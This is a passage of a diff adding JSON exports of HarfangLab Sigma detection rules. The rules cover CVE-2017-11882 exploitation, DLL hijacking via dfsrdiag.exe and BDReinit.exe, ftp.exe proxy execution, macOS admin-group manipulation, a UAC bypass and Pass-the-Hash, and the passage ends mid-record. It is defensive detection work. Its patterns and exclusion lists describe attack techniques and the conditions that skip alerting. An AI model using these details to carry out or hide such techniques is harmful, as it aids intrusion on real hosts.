+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "395679f3-08b5-4f6e-92ac-f29f2338ef57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604584Z",
+  "creation_date": "2026-03-23T11:45:34.604587Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604594Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882",
+    "https://www.zscaler.com/blogs/security-research/threat-actors-exploit-cve-2017-11882-deliver-agent-tesla",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "cve_2017_11882_office_eqnedt32.yml",
+  "content": "title: Office CVE-2017-11882 Vulnerability Exploited\nid: 395679f3-08b5-4f6e-92ac-f29f2338ef57\ndescription: |\n    Detects the possible exploitation of CVE-2017-11882 related to the Microsoft Office EQNEDT32.EXE binary.\n    This vulnerability allows an attacker to perform abitrary code execution from a Microsoft Office application.\n    It is recommended to analyze processes spawned by the Equation Editor process to determine their legitimacy and to look for other suspicious actions on the host.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882\n    - https://www.zscaler.com/blogs/security-research/threat-actors-exploit-cve-2017-11882-deliver-agent-tesla\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2021/01/07\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.t1204.002\n    - attack.initial_access\n    - attack.t1566.001\n    - cve.2017-11882\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.EQNEDT32\n    - classification.Windows.Exploit.Office\n    - classification.Windows.Exploit.CVE-2017-11882\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\EQNEDT32.EXE'\n\n    exclusion_werfault:\n        # C:\\WINDOWS\\system32\\WerFault.exe -u -p 556 -s 1160\n        Image:\n            - '?:\\WINDOWS\\system32\\WerFault.exe'\n            - '?:\\WINDOWS\\syswow64\\WerFault.exe'\n        CommandLine|contains: ' -p '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "395679f3-08b5-4f6e-92ac-f29f2338ef57",
+  "rule_name": "Office CVE-2017-11882 Vulnerability Exploited",
+  "rule_description": "Detects the possible exploitation of CVE-2017-11882 related to the Microsoft Office EQNEDT32.EXE binary.\nThis vulnerability allows an attacker to perform abitrary code execution from a Microsoft Office application.\nIt is recommended to analyze processes spawned by the Equation Editor process to determine their legitimacy and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2021-01-07",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "398fc353-ba44-4dfc-84a9-33585c83daef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097973Z",
+  "creation_date": "2026-03-23T11:45:34.097975Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097979Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dfsrdiag.yml",
+  "content": "title: DLL Hijacking via dfsrdiag.exe\nid: 398fc353-ba44-4dfc-84a9-33585c83daef\ndescription: |\n    Detects potential Windows DLL Hijacking via dfsrdiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dfsrdiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\clusapi.dll'\n            - '\\dsparse.dll'\n            - '\\esent.dll'\n            - '\\fltlib.dll'\n            - '\\framedynos.dll'\n            - '\\mpr.dll'\n            - '\\netapi32.dll'\n            - '\\ntdsapi.dll'\n            - '\\secur32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "398fc353-ba44-4dfc-84a9-33585c83daef",
+  "rule_name": "DLL Hijacking via dfsrdiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dfsrdiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39a96861-139b-49ca-a6f1-21daa047960d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085960Z",
+  "creation_date": "2026-03-23T11:45:34.085963Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085967Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ftp.yml",
+    "https://lolbas-project.github.io/lolbas/Binaries/Ftp/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/software/S0095/"
+  ],
+  "name": "t1218_ftp_spawning_cmd.yml",
+  "content": "title: Shell Process Spawned by ftp.exe\nid: 39a96861-139b-49ca-a6f1-21daa047960d\ndescription: |\n    Detects a suspicious attempt to execute commands through a legitimate ftp.exe signed binary.\n    Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n    It is recommended to analyze the parent process as well as all child processes of ftp.exe to look for malicious content or actions.\nreferences:\n    - https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ftp.yml\n    - https://lolbas-project.github.io/lolbas/Binaries/Ftp/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/software/S0095/\ndate: 2021/08/05\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.s0095\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.FTP\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_child:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains: '\\cmd.exe /C '\n    selection_parent:\n        ParentImage|endswith:\n            - '?:\\Windows\\System32\\ftp.exe'\n            - '?:\\Windows\\SysWOW64\\ftp.exe'\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39a96861-139b-49ca-a6f1-21daa047960d",
+  "rule_name": "Shell Process Spawned by ftp.exe",
+  "rule_description": "Detects a suspicious attempt to execute commands through a legitimate ftp.exe signed binary.\nAdversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\nIt is recommended to analyze the parent process as well as all child processes of ftp.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-08-05",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39ae5f02-3e67-4cd1-bf0d-381b30ce4ecd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618361Z",
+  "creation_date": "2026-03-23T11:45:34.618363Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618367Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1078/003/"
+  ],
+  "name": "t1078_003_dseditgroup_admin.yml",
+  "content": "title: User Added to Admin Group via dseditgroup\nid: 39ae5f02-3e67-4cd1-bf0d-381b30ce4ecd\ndescription: |\n    Detects the execution of dseditgroup with a suspicious ancestor process.\n    Adversaries may leverage the dseditgroup to escalate privileges by adding a valid user in the admin group.\n    It is recommended to check if the user is expected to be admin and for suspicious activities by the parents processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1078/003/\ndate: 2024/07/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.initial_access\n    - attack.t1078.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        ProcessName: 'dseditgroup'\n        CommandLine|contains|all:\n            - ' admin'\n            - ' -a'\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n            # process\n            - 'osascript'\n            - 'python'\n            - 'perl'\n            - 'ruby'\n            - 'bash'\n            - '/sh'\n            - 'zsh'\n            - 'com.apple.automator.runner'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_ansible:\n        ProcessGrandparentCommandLine|startswith: '/bin/sh -c echo BECOME-SUCCESS-'\n\n    exclusion_kandji:\n        ProcessAncestors: '/usr/bin/sudo|/bin/bash|/Library/Kandji/Kandji Agent.app/Contents/Helpers/Kandji Library Manager.app/Contents/MacOS/kandji-library-manager|/sbin/launchd'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/'\n\n    exclusion_var:\n        ProcessGrandparentCommandLine|contains: '/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000'\n        Ancestors: '/usr/bin/sudo|/bin/bash'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39ae5f02-3e67-4cd1-bf0d-381b30ce4ecd",
+  "rule_name": "User Added to Admin Group via dseditgroup",
+  "rule_description": "Detects the execution of dseditgroup with a suspicious ancestor process.\nAdversaries may leverage the dseditgroup to escalate privileges by adding a valid user in the admin group.\nIt is recommended to check if the user is expected to be admin and for suspicious activities by the parents processes.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39c7e57b-5207-433d-b9bf-7b43f9617495",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593565Z",
+  "creation_date": "2026-03-23T11:45:34.593569Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593576Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.secureworks.com/research/shadowpad-malware-analysis",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdreinit.yml",
+  "content": "title: DLL Hijacking via BDReinit.exe\nid: 39c7e57b-5207-433d-b9bf-7b43f9617495\ndescription: |\n    Detects potential Windows DLL Hijacking via BDReinit.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.secureworks.com/research/shadowpad-malware-analysis\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BDReinit.exe'\n        ImageLoaded|endswith: '\\log.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Bitdefender Antivirus Free\\'\n            - '?:\\Program Files\\Bitdefender Antivirus Free\\'\n            - '?:\\Program Files (x86)\\Ivanti\\Endpoint\\'\n            - '?:\\Program Files\\Ivanti\\Endpoint\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Bitdefender Antivirus Free\\'\n            - '?:\\Program Files\\Bitdefender Antivirus Free\\'\n            - '?:\\Program Files (x86)\\Ivanti\\Endpoint\\'\n            - '?:\\Program Files\\Ivanti\\Endpoint\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Bitdefender SRL'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39c7e57b-5207-433d-b9bf-7b43f9617495",
+  "rule_name": "DLL Hijacking via BDReinit.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BDReinit.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39c97768-09b3-4aa2-adfb-07c4804f4ccf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084438Z",
+  "creation_date": "2026-03-23T11:45:34.084441Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084445Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
+  ],
+  "name": "t1548_002_post_uac_bypass_compmgmtlauncher.yml",
+  "content": "title: UAC Bypass Executed via CompMgmtLauncher\nid: 39c97768-09b3-4aa2-adfb-07c4804f4ccf\ndescription: |\n    Detects an unusual process being spawned by CompMgmtLauncher.exe.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to check the spawned process for suspicious activities.\nreferences:\n    - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\ndate: 2021/01/04\nmodified: 2025/02/11\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\CompMgmtLauncher.exe'\n\n    filter_image:\n        Image:\n            - '?:\\Windows\\System32\\mmc.exe'\n            - '?:\\Windows\\Syswow64\\mmc.exe'\n            - '?:\\Windows\\system32\\ServerManager.exe'\n            - '?:\\Program Files\\Google\\Drive File Stream\\\\*\\crashpad_handler.exe'\n            - '?:\\Program Files (x86)\\WinRAR\\RarExtLoader.exe'\n            # C:\\Program Files (x86)\\Adobe\\Acrobat 2015\\Acrobat\\acrotray.exe\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat 20??\\Acrobat\\acrotray.exe'\n            - '?:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\acrotray.exe'\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat DC\\Acrobat\\acrotray.exe'\n            - '?:\\program files\\path copy copy\\pathcopycopysettings.exe'\n            - '*\\AppData\\Roaming\\NCH Software\\Program Files\\ExpressZip\\expresszip.exe'\n            - '?:\\Program Files (x86)\\NCH Software\\ExpressZip\\expresszip.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39c97768-09b3-4aa2-adfb-07c4804f4ccf",
+  "rule_name": "UAC Bypass Executed via CompMgmtLauncher",
+  "rule_description": "Detects an unusual process being spawned by CompMgmtLauncher.exe.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to check the spawned process for suspicious activities.\n",
+  "rule_creation_date": "2021-01-04",
+  "rule_modified_date": "2025-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "39cc3158-01b2-4bd7-8ac4-dcc5e3853eb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073151Z",
+  "creation_date": "2026-03-23T11:45:34.073153Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073158Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://stealthbits.com/blog/how-to-detect-pass-the-hash-attacks/",
+    "https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/",
+    "https://attack.mitre.org/techniques/T1550/002/"
+  ],
+  "name": "t1550_003_pass_the_hash.yml",
+  "content": "title: Pass-the-Hash Attack Detected\nid: 39cc3158-01b2-4bd7-8ac4-dcc5e3853eb0\ndescription: |\n    Detects s successful logon using the Pass-the-Hash technique.\n    A Pass-the-Hash attack requires having an administrator account and is used to move laterally inside an Active Directory network.\n    This attack allows the usage of a password hash for authentication without the need to brute-force it to obtain the cleartext password.\n    The credential dumper Mimikatz is often used by attackers to perform this attack, but all red team frameworks implement this technique.\n    When a user executes the command \"runas.exe\" with the \"/netonly\" flag, this alert will be triggered, and can be considered a false positive.\n    It is recommended to investigate the context of this action to determine its legitimacy.\n    Checking the fields 'SubjectUserName' and 'TargetOutboundUserName' give useful information about the credentials involved.\nreferences:\n    - https://stealthbits.com/blog/how-to-detect-pass-the-hash-attacks/\n    - https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/\n    - https://attack.mitre.org/techniques/T1550/002/\ndate: 2021/09/30\nmodified: 2025/04/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.lateral_movement\n    - attack.t1550.002\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Exploit.PassTheHash\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4624\n        LogonType: '9'\n        LogonProcessName: 'seclogo'\n        AuthenticationPackageName: 'Negotiate'\n\n    exclusion_itrust:\n        SubjectUserName|endswith: '$'\n        TargetUserSid: 'S-1-5-18'\n        TargetOutboundUserName:\n            - 'Domain_Admin_???????'\n            - 'Support_???????'\n    exclusion_itrust_no_mapping:\n        SubjectUserName|endswith: '$'\n        event_data.TargetUserSid: 'S-1-5-18'\n        event_data.TargetOutboundUserName:\n            - 'Domain_Admin_???????'\n            - 'Support_???????'\n\n    # Netwrix Auditor\n    exclusion_netwrix:\n        SubjectUserName:\n            - 'SYSTEM'\n            - 'Système'\n        TargetUserSid: 'S-1-5-18'\n        TargetOutboundUserName:\n            - 'netwrixsvc'\n            - 'NETWRIXAD_GMSA$'\n            - 'svc_netwrix'\n            - 'svc_netwrix@*'\n    exclusion_netwrix_no_mapping:\n        SubjectUserName:\n            - 'SYSTEM'\n            - 'Système'\n        event_data.TargetUserSid: 'S-1-5-18'\n        event_data.TargetOutboundUserName:\n            - 'netwrixsvc'\n            - 'NETWRIXAD_GMSA$'\n            - 'svc_netwrix'\n            - 'svc_netwrix@*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "39cc3158-01b2-4bd7-8ac4-dcc5e3853eb0",
+  "rule_name": "Pass-the-Hash Attack Detected",
